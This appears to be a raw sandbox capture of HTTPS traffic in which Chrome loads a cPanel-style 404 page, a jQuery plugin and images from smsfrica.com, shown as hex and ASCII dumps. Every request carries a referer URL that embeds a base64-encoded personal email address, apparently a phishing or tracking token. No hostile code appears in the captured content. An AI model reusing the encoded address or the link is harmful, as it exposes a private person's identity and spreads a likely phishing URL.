2024-03-15 12:58:41 UTC	8000	IN	Data Raw: 75 6c 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 6c 69 3e 3c 73 74 72 6f 6e 67 3e 2d 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 66 69 72 73 74 22 3e 72 77 78 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 63 6f 6e 64 22 3e 72 2d 78 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 74 68 69 72 64 22 3e 72 2d 78 3c 2f 73 70 61 6e 3e 3c 2f 73 74 72 6f 6e 67 3e 20 61 20 72 65 67 75 6c 61 72 20 66 69 6c 65 20 77 68 6f 73 65 20 75 73 65 72 20 63 6c 61 73 73 20 68 61 73 20 66 75 6c 6c 20 70 65 72 6d 69 73 73 69 6f 6e 73 20 61 6e 64 20 77 68 6f 73 65 20 67 72 6f 75 70 20 61 6e 64 20 6f 74 68 65 72 73 20 63 6c 61 73 73 65 73 20 68 61 76 65 20 6f 6e 6c 79 20 74 68 65 20 72 65 61 64 20 61 6e 64 20 65 78 65 63 75 74 65 20 70 65 72 6d 69 73 73 69 Data Ascii: ul><li><strong>-<span class="first">rwx</span><span class="second">r-x</span><span class="third">r-x</span></strong> a regular file whose user class has full permissions and whose group and others classes have only the read and execute permissi
2024-03-15 12:58:41 UTC	1179	IN	Data Raw: 09 09 09 09 3c 68 34 3e 3c 75 3e 54 6f 20 45 64 69 74 20 74 68 65 20 50 65 72 6d 69 73 73 69 6f 6e 73 3c 2f 75 3e 3c 2f 68 34 3e 0a 09 09 09 09 09 09 09 09 3c 6f 6c 3e 0a 09 09 09 09 09 09 09 09 09 3c 6c 69 3e 52 69 67 68 74 20 63 6c 69 63 6b 20 6f 6e 20 74 68 65 20 3c 73 74 72 6f 6e 67 3e 66 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 3c 2f 73 74 72 6f 6e 67 3e 20 61 6e 64 20 63 6c 69 63 6b 26 6e 62 73 70 3b 3c 73 74 72 6f 6e 67 3e 43 68 61 6e 67 65 20 50 65 72 6d 69 73 73 69 6f 6e 73 3c 2f 73 74 72 6f 6e 67 3e 20 66 72 6f 6d 20 74 68 65 20 6d 65 6e 75 2e 3c 2f 6c 69 3e 0a 09 09 09 09 09 09 09 09 09 3c 6c 69 3e 41 20 64 69 61 6c 6f 67 75 65 20 62 6f 78 20 73 68 6f 75 6c 64 20 61 70 70 65 61 72 20 61 6c 6c 6f 77 69 6e 67 20 79 6f 75 20 74 6f 20 73 65 Data Ascii: <h4><u>To Edit the Permissions</u></h4><ol><li>Right click on the <strong>file or directory</strong> and click <strong>Change Permissions</strong> from the menu.</li><li>A dialogue box should appear allowing you to se

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.17	49777	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:41 UTC	578	OUT	GET /cgi-sys/js/simple-expand.min.js HTTP/1.1 Host: smsfrica.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:58:41 UTC	268	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:58:41 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 30 Sep 2022 16:13:22 GMT Accept-Ranges: bytes Content-Length: 2782 Vary: Accept-Encoding Content-Type: application/javascript
2024-03-15 12:58:41 UTC	2782	IN	Data Raw: 2f 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 32 30 31 32 20 53 79 6c 76 61 69 6e 20 48 61 6d 65 6c 0a 50 72 6f 6a 65 63 74 3a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 72 65 64 68 6f 74 73 6c 79 2f 73 69 6d 70 6c 65 2d 65 78 70 61 6e 64 0a 4d 49 54 20 4c 69 63 65 6e 63 65 3a 20 68 74 74 70 73 3a 2f 2f 72 61 77 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 72 65 64 68 6f 74 73 6c 79 2f 73 69 6d 70 6c 65 2d 65 78 70 61 6e 64 2f 6d 61 73 74 65 72 2f 6c 69 63 65 6e 63 65 2d 6d 69 74 2e 74 78 74 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 65 2e 64 65 66 61 75 6c 74 73 3d 7b 68 69 64 65 4d 6f 64 65 3a 22 66 61 64 65 54 6f 67 67 6c Data Ascii: /* Copyright (C) 2012 Sylvain HamelProject: https://github.com/redhotsly/simple-expandMIT Licence: https://raw.github.com/redhotsly/simple-expand/master/licence-mit.txt */(function($){"use strict";function e(){var e=this;e.defaults={hideMode:"fadeToggl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.17	49778	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:41 UTC	627	OUT	GET /cgi-sys/images/f.png HTTP/1.1 Host: smsfrica.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:58:41 UTC	233	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:58:41 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 02 Oct 2022 08:55:32 GMT Accept-Ranges: bytes Content-Length: 18239 Content-Type: image/png
2024-03-15 12:58:41 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8c 00 00 00 8c 08 06 00 00 00 ae c0 41 3e 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 dd 08 1c 14 1b 17 79 01 43 46 00 00 20 00 49 44 41 54 78 da ed bd 69 98 24 d7 75 1d 78 ce 7b 11 99 59 fb d6 5d 55 dd 0d a0 b1 11 20 20 ae e0 02 41 00 28 91 b4 24 ee 04 d0 00 49 7d 96 65 ea 93 64 8d 38 a3 b1 c7 96 3c 14 c7 1a 2d 94 2c 5b b2 ad 95 9f e8 a1 c6 5a c8 cf 63 11 68 80 d4 42 93 92 b8 89 a4 c4 0d e2 4e 11 3b 1a dd 0d 54 57 55 57 15 6a c9 2d e2 dd 3b 3f 62 7b 11 19 59 dd 8d ee 06 01 09 49 16 ba 32 2b 2b 2b 33 e2 c4 bd e7 9c 7b df 7d c0 33 b7 67 6e cf dc 86 df ee 9a 9a 3a Data Ascii: PNGIHDRA>sRGBbKGDpHYstIMEyCF IDATxi$ux{Y]U A($I}ed8<-,[ZchBN;TWUWj-;?b{YI2+++3{}3gn:
2024-03-15 12:58:41 UTC	8000	IN	Data Raw: 20 49 5b e0 e5 67 e7 c3 28 43 10 30 61 a3 68 2e ae 8b 0a 4c a4 66 fb e8 71 6c 3f f0 c0 69 a9 9c 1c dd a7 61 3f 67 dc c8 f8 e5 07 53 3e e9 f0 2e d6 cc fc ab d6 86 c4 ab fe 66 27 c7 a9 c0 c5 92 0a b6 a8 e8 ee 77 59 df ca 60 41 cf a5 4b 54 04 18 00 8b df 7b cb 34 d2 aa 16 7b 25 19 22 07 8b b1 26 2d 93 94 c1 52 1a f2 5c 73 ff 54 29 ab bf be 8e 93 5f 38 89 c6 cc 0c 26 af ba 12 a6 d9 1c 4c 4f a5 7c 9f 91 67 5e 7c 56 80 d1 64 17 f9 64 cf 67 e4 a3 6d cb 7c 85 44 fb d8 71 6c df ff 60 52 ab 39 8d b4 53 17 35 4c dd c1 f0 a2 48 b1 dd 4c f1 e7 8d b7 49 48 a9 b0 a9 92 ce 75 29 37 71 67 7d 2e 61 ab 85 08 40 38 31 51 f2 50 fc a5 20 59 2b 65 e4 62 34 26 c6 f3 ee 3f 33 32 8a b8 1f 41 b3 05 f0 a5 4a 33 10 45 31 c2 d1 b1 e2 0a 6e 8d 40 e5 64 0e 16 a6 3b b3 99 74 9b 1b 72 70 Data Ascii: I[g(C0ah.Lfql?ia?gS>.f'wY`AKT{4{%"&-R\sT)_8&LO\|g^\|Vddgm\|Dql`R9S5LHLIHu)7qg}.a@81QP Y+eb4&?32AJ3E1n@d;trp
2024-03-15 12:58:41 UTC	2280	IN	Data Raw: 40 09 41 78 59 80 fb 2e 0b 79 3f 80 78 4b ec d4 3d 7d 79 fe b2 e8 73 b7 15 73 7f df d7 50 15 36 7d 45 28 80 11 aa ce 58 72 c6 10 13 29 98 42 96 f7 ac cc 80 d1 13 60 5b 81 4d 49 78 c8 a6 14 43 d0 08 c2 40 95 64 14 50 7b 7b 68 ee b9 28 d0 af 5e 12 f2 81 c4 5f 54 93 b6 54 59 5f 38 81 26 11 5b 4e 93 fe 2d 2a 48 0a 20 02 a1 c0 c0 41 c4 81 26 06 d4 41 25 e9 e9 32 74 0a 0a a8 42 3a 55 63 92 f8 44 d5 a1 3b b8 3d 6d 48 ef 34 2c 9a 8b 01 7a 9d 86 36 9a 0d 50 5b 68 d8 51 0a 47 d4 70 94 d0 d1 44 5a 63 44 53 d2 4b 20 50 d5 80 86 56 25 5d 3e 6d d2 c6 36 25 95 0a 08 48 d2 24 29 0a 49 bf 64 d1 7a 40 e6 45 c1 e4 ed 90 d4 e3 91 ec 3f 1e e3 b2 75 c5 25 6d d1 8b 84 a6 39 10 4b b8 1b fa 8b 78 48 40 1b c4 f2 14 f9 f0 1e a3 0f 5e 12 f2 81 26 d1 87 9f ad b2 c4 69 8c 28 94 94 4c Data Ascii: @AxY.y?xK=}yssP6}E(Xr)B`[MIxC@dP{{h(^_TTY_8&[N-*H A&A%2tB:UcD;=mH4,z6P[hQGpDZcDSK PV%]>m6%H$)Idz@E?u%m9KxH@^&i(L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.17	49779	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:41 UTC	634	OUT	GET /cgi-sys/images/404top_w.jpg HTTP/1.1 Host: smsfrica.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:58:42 UTC	233	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:58:41 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 02 Oct 2022 08:55:21 GMT Accept-Ranges: bytes Content-Length: 4335 Content-Type: image/jpeg
2024-03-15 12:58:42 UTC	4335	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 00 a9 03 64 03 01 11 00 02 11 01 03 11 01 ff c4 00 1b 00 01 01 00 02 03 01 00 00 00 00 00 00 00 00 00 00 00 01 02 04 03 07 08 05 ff c4 00 3a 10 01 00 01 03 00 07 04 07 07 04 02 03 00 00 00 00 00 01 03 07 11 02 04 06 16 17 81 c2 12 21 94 d2 31 36 46 51 74 84 91 05 13 14 61 71 Data Ascii: JFIFHHC!"$"$Cd:!16FQtaq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.17	49780	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:41 UTC	632	OUT	GET /cgi-sys/images/404mid.gif HTTP/1.1 Host: smsfrica.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:58:42 UTC	231	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:58:41 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 30 Sep 2022 16:14:26 GMT Accept-Ranges: bytes Content-Length: 120 Content-Type: image/gif
2024-03-15 12:58:42 UTC	120	IN	Data Raw: 47 49 46 38 39 61 64 03 04 00 91 00 00 9a b2 c9 ff ff ff a0 b6 cc a1 b7 cd 21 f9 04 00 07 00 ff 00 2c 00 00 00 00 64 03 04 00 00 02 49 dc 82 a9 cb ed 0f a3 9c b4 da 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a6 ea ca b6 ee 9b 00 80 01 d7 f6 8d e7 fa ce f7 fe 0f 0c 0a 87 44 8a 8c 56 4c 2a 97 cc a6 f3 09 8d 4a a7 54 cc f1 50 cd 6a b7 dc ae f7 0b 0e 8b 2d b2 02 00 3b Data Ascii: GIF89ad!,dIHDVL*JTPj-;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.17	49781	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:41 UTC	635	OUT	GET /cgi-sys/images/404bottom.gif HTTP/1.1 Host: smsfrica.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://smsfrica.com/QlS4h/YW1yb21hbm9Ac3RlaW5ib3JuLmNvbQ== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:58:42 UTC	231	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:58:42 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 30 Sep 2022 16:13:50 GMT Accept-Ranges: bytes Content-Length: 537 Content-Type: image/gif
2024-03-15 12:58:42 UTC	537	IN	Data Raw: 47 49 46 38 39 61 64 03 0e 00 d5 00 00 36 65 94 f7 f9 fb ad c0 d4 9d b4 cb cd d9 e4 7c 9b b9 a2 b8 ce 6d 8f b1 e6 ec f2 5c 82 a9 8c a7 c2 bd cd dc 4e 77 a1 f2 f5 f8 b0 c3 d5 85 a2 be dc e4 ec 93 ad c6 ff ff ff 58 7f a6 73 94 b5 a7 bc d0 c5 d2 e0 64 89 ad 81 9e bc d1 dc e7 ea ef f4 f6 f8 fa b3 c5 d7 7b 94 b5 7e 9d bb 8c ad c5 6b 94 b5 8c a5 bd 63 87 ac 59 80 a7 d4 de e8 ed f1 f5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 f9 04 00 07 00 ff 00 2c 00 00 00 00 64 03 0e 00 00 06 ff 40 83 41 42 2c 1a 8f c8 a4 72 c9 6c 3a 9f d0 a8 74 4a ad 5a af d8 ac 76 cb ed 7a bf e0 b0 Data Ascii: GIF89ad6e\|m\NwXsd{~kcY!,d@AB,rl:tJZvz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.17	49782	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:42 UTC	356	OUT	GET /cgi-sys/images/f.png HTTP/1.1 Host: smsfrica.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:58:42 UTC	233	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:58:42 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 02 Oct 2022 08:55:32 GMT Accept-Ranges: bytes Content-Length: 18239 Content-Type: image/png
2024-03-15 12:58:42 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8c 00 00 00 8c 08 06 00 00 00 ae c0 41 3e 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 07 74 49 4d 45 07 dd 08 1c 14 1b 17 79 01 43 46 00 00 20 00 49 44 41 54 78 da ed bd 69 98 24 d7 75 1d 78 ce 7b 11 99 59 fb d6 5d 55 dd 0d a0 b1 11 20 20 ae e0 02 41 00 28 91 b4 24 ee 04 d0 00 49 7d 96 65 ea 93 64 8d 38 a3 b1 c7 96 3c 14 c7 1a 2d 94 2c 5b b2 ad 95 9f e8 a1 c6 5a c8 cf 63 11 68 80 d4 42 93 92 b8 89 a4 c4 0d e2 4e 11 3b 1a dd 0d 54 57 55 57 15 6a c9 2d e2 dd 3b 3f 62 7b 11 19 59 dd 8d ee 06 01 09 49 16 ba 32 2b 2b 2b 33 e2 c4 bd e7 9c 7b df 7d c0 33 b7 67 6e cf dc 86 df ee 9a 9a 3a Data Ascii: PNGIHDRA>sRGBbKGDpHYstIMEyCF IDATxi$ux{Y]U A($I}ed8<-,[ZchBN;TWUWj-;?b{YI2+++3{}3gn:
2024-03-15 12:58:42 UTC	8000	IN	Data Raw: 20 49 5b e0 e5 67 e7 c3 28 43 10 30 61 a3 68 2e ae 8b 0a 4c a4 66 fb e8 71 6c 3f f0 c0 69 a9 9c 1c dd a7 61 3f 67 dc c8 f8 e5 07 53 3e e9 f0 2e d6 cc fc ab d6 86 c4 ab fe 66 27 c7 a9 c0 c5 92 0a b6 a8 e8 ee 77 59 df ca 60 41 cf a5 4b 54 04 18 00 8b df 7b cb 34 d2 aa 16 7b 25 19 22 07 8b b1 26 2d 93 94 c1 52 1a f2 5c 73 ff 54 29 ab bf be 8e 93 5f 38 89 c6 cc 0c 26 af ba 12 a6 d9 1c 4c 4f a5 7c 9f 91 67 5e 7c 56 80 d1 64 17 f9 64 cf 67 e4 a3 6d cb 7c 85 44 fb d8 71 6c df ff 60 52 ab 39 8d b4 53 17 35 4c dd c1 f0 a2 48 b1 dd 4c f1 e7 8d b7 49 48 a9 b0 a9 92 ce 75 29 37 71 67 7d 2e 61 ab 85 08 40 38 31 51 f2 50 fc a5 20 59 2b 65 e4 62 34 26 c6 f3 ee 3f 33 32 8a b8 1f 41 b3 05 f0 a5 4a 33 10 45 31 c2 d1 b1 e2 0a 6e 8d 40 e5 64 0e 16 a6 3b b3 99 74 9b 1b 72 70 Data Ascii: I[g(C0ah.Lfql?ia?gS>.f'wY`AKT{4{%"&-R\sT)_8&LO\|g^\|Vddgm\|Dql`R9S5LHLIHu)7qg}.a@81QP Y+eb4&?32AJ3E1n@d;trp
2024-03-15 12:58:42 UTC	2280	IN	Data Raw: 40 09 41 78 59 80 fb 2e 0b 79 3f 80 78 4b ec d4 3d 7d 79 fe b2 e8 73 b7 15 73 7f df d7 50 15 36 7d 45 28 80 11 aa ce 58 72 c6 10 13 29 98 42 96 f7 ac cc 80 d1 13 60 5b 81 4d 49 78 c8 a6 14 43 d0 08 c2 40 95 64 14 50 7b 7b 68 ee b9 28 d0 af 5e 12 f2 81 c4 5f 54 93 b6 54 59 5f 38 81 26 11 5b 4e 93 fe 2d 2a 48 0a 20 02 a1 c0 c0 41 c4 81 26 06 d4 41 25 e9 e9 32 74 0a 0a a8 42 3a 55 63 92 f8 44 d5 a1 3b b8 3d 6d 48 ef 34 2c 9a 8b 01 7a 9d 86 36 9a 0d 50 5b 68 d8 51 0a 47 d4 70 94 d0 d1 44 5a 63 44 53 d2 4b 20 50 d5 80 86 56 25 5d 3e 6d d2 c6 36 25 95 0a 08 48 d2 24 29 0a 49 bf 64 d1 7a 40 e6 45 c1 e4 ed 90 d4 e3 91 ec 3f 1e e3 b2 75 c5 25 6d d1 8b 84 a6 39 10 4b b8 1b fa 8b 78 48 40 1b c4 f2 14 f9 f0 1e a3 0f 5e 12 f2 81 26 d1 87 9f ad b2 c4 69 8c 28 94 94 4c Data Ascii: @AxY.y?xK=}yssP6}E(Xr)B`[MIxC@dP{{h(^_TTY_8&[N-*H A&A%2tB:UcD;=mH4,z6P[hQGpDZcDSK PV%]>m6%H$)Idz@E?u%m9KxH@^&i(L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.17	49784	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:42 UTC	363	OUT	GET /cgi-sys/images/404top_w.jpg HTTP/1.1 Host: smsfrica.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:58:42 UTC	233	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:58:42 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Sun, 02 Oct 2022 08:55:21 GMT Accept-Ranges: bytes Content-Length: 4335 Content-Type: image/jpeg
2024-03-15 12:58:42 UTC	4335	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 00 a9 03 64 03 01 11 00 02 11 01 03 11 01 ff c4 00 1b 00 01 01 00 02 03 01 00 00 00 00 00 00 00 00 00 00 00 01 02 04 03 07 08 05 ff c4 00 3a 10 01 00 01 03 00 07 04 07 07 04 02 03 00 00 00 00 00 01 03 07 11 02 04 06 16 17 81 c2 12 21 94 d2 31 36 46 51 74 84 91 05 13 14 61 71 Data Ascii: JFIFHHC!"$"$Cd:!16FQtaq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.17	49783	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:42 UTC	361	OUT	GET /cgi-sys/images/404mid.gif HTTP/1.1 Host: smsfrica.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:58:42 UTC	231	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:58:42 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 30 Sep 2022 16:14:26 GMT Accept-Ranges: bytes Content-Length: 120 Content-Type: image/gif
2024-03-15 12:58:42 UTC	120	IN	Data Raw: 47 49 46 38 39 61 64 03 04 00 91 00 00 9a b2 c9 ff ff ff a0 b6 cc a1 b7 cd 21 f9 04 00 07 00 ff 00 2c 00 00 00 00 64 03 04 00 00 02 49 dc 82 a9 cb ed 0f a3 9c b4 da 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a6 ea ca b6 ee 9b 00 80 01 d7 f6 8d e7 fa ce f7 fe 0f 0c 0a 87 44 8a 8c 56 4c 2a 97 cc a6 f3 09 8d 4a a7 54 cc f1 50 cd 6a b7 dc ae f7 0b 0e 8b 2d b2 02 00 3b Data Ascii: GIF89ad!,dIHDVL*JTPj-;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.17	49785	192.185.112.107	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:58:42 UTC	364	OUT	GET /cgi-sys/images/404bottom.gif HTTP/1.1 Host: smsfrica.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-15 12:58:42 UTC	231	IN	HTTP/1.1 200 OK Date: Fri, 15 Mar 2024 12:58:42 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 30 Sep 2022 16:13:50 GMT Accept-Ranges: bytes Content-Length: 537 Content-Type: image/gif
